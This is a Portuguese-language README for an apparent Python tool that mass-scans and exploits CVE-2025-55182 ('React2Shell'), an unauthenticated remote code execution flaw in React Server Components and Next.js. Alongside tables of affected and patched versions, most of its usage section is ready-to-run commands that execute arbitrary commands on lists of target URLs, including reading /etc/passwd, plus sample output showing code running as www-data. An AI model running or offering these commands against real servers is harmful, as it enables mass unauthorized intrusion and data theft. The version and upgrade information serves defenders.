
Scanner automatizado para CVE-2025-55182: uma vulnerabilidade RCE crítica em React Server Components e Next.js.
Ferramenta de detecção e verificação em lote para a vulnerabilidade de execução remota de código CVE-2025-55182 (React2Shell).
⚠️ Vulnerabilidade crítica CVSS 10.0 | Afeta React Server Components e versões Next.js 15.x/16.x | Uso exclusivo para testes de segurança autorizados
CVE-2025-55182 (também conhecida como "React2Shell") é uma vulnerabilidade de execução remota de código (RCE) não autenticada com pontuação máxima CVSS 10.0.
A vulnerabilidade decorre de um problema de desserialização insegura no pacote react-server dos React Server Components (RSC) ao processar o protocolo RSC "Flight". Atacantes podem executar código arbitrário no servidor vulnerável enviando requisições HTTP especialmente elaboradas.
Como o Next.js utiliza o protocolo RSC "Flight", mesmo aplicações criadas com a configuração padrão do create-next-app podem ser exploradas sem que o desenvolvedor precise escrever código adicional. Desde 5 de dezembro de 2025, foi detectada exploração ativa desta vulnerabilidade.
React Server Components – versões afetadas:
| Pacote | Versões afetadas |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
Next.js – versões afetadas (usando App Router):
Outros frameworks/ferramentas RSC possivelmente afetados:
⚠️ Importante: não há mitigações temporárias conhecidas para esta vulnerabilidade. Atualizar para versões seguras é a única correção.
Versões recomendadas para atualização:
O pacote npm oficial fix-react2shell-next pode ajudar na atualização de aplicações Next.js afetadas.
pip install requests
# Escaneamento em lote (lê alvos de urls.txt)
python CVE-2025-55182.py -f urls.txt
# Teste de alvo único
python CVE-2025-55182.py -u http://192.168.1.100:3000
# Executar comando whoami
python CVE-2025-55182.py -f urls.txt -c "whoami"
# Executar comando hostname
python CVE-2025-55182.py -u http://target.com -c "hostname"
# Ler arquivo
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"
# Definir número de threads e timeout
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15
# Arquivo de saída personalizado
python CVE-2025-55182.py -f urls.txt -o scan_results.csv
# Modo silencioso (apenas URLs vulneráveis)
python CVE-2025-55182.py -f urls.txt -q
Uma URL por linha, por exemplo:
http://192.168.1.10:3000
http://192.168.1.11:3000
+---------------------------------------------------------------+
| ### ## ####### ## ## ######## ## ####### |
| #### ## ## ## ## ## ## ## |
| ## ## ## ##### ### ## ## ####### |
| ## #### ## ## ## ## ## ## ## |
| ## ### ####### ## ## ## #### ####### |
| |
| CVE-2025-55182 RCE Scanner |
+---------------------------------------------------------------+
============================================================
[ CONFIGURAÇÃO ]
============================================================
> Alvos: 10
> Threads: 20
> Comando: id
============================================================
[ ESCANEANDO ]
============================================================
[14:30:25] [VULN] http://192.168.1.10:3000
'--> uid=1000(www-data)
[14:30:26] [SEGURO] http://192.168.1.11:3000
+==========================================================+
| ESCANEAMENTO CONCLUÍDO |
+==========================================================+
| Total de alvos : 10 |
| Vulneráveis : 1 |
| Seguros : 9 |
| Erros : 0 |
+==========================================================+
O resultado do escaneamento é salvo no formato CSV, contendo os seguintes campos:
url - URL do alvostatus - Código de status HTTPvulnerable - Se é vulneráveloutput - Saída da execução do comandoerror - Mensagem de erroEsta ferramenta destina-se exclusivamente a testes de segurança autorizados. Não a utilize para fins ilegais. O usuário assume toda a responsabilidade pelo seu uso.
| Versão principal | Faixa de versões afetadas | Versão corrigida |
|---|
| 16.0.x | ≤ 16.0.6 | 16.0.7 |
| 15.5.x | ≤ 15.5.6 | 15.5.7 |
| 15.4.x | ≤ 15.4.7 | 15.4.8 |
| 15.3.x | ≤ 15.3.5 | 15.3.6 |
| 15.2.x | ≤ 15.2.5 | - |
| 15.1.x | ≤ 15.1.8 | - |
| 15.0.x | ≤ 15.0.4 | - |
| 14.x Canary | ≥ 14.3.0-canary.77 | - |
| Parâmetro | Descrição | Valor padrão |
|---|
-f, --file | Arquivo com lista de URLs | urls.txt |
-u, --url | URL de alvo único | - |
-t, --threads | Número de threads concorrentes | 20 |
--timeout | Timeout da requisição (segundos) | 10 |
-o, --output | Arquivo CSV de saída | results.csv |
-c, --command | Comando a ser executado | id |
-q, --quiet | Modo silencioso | false |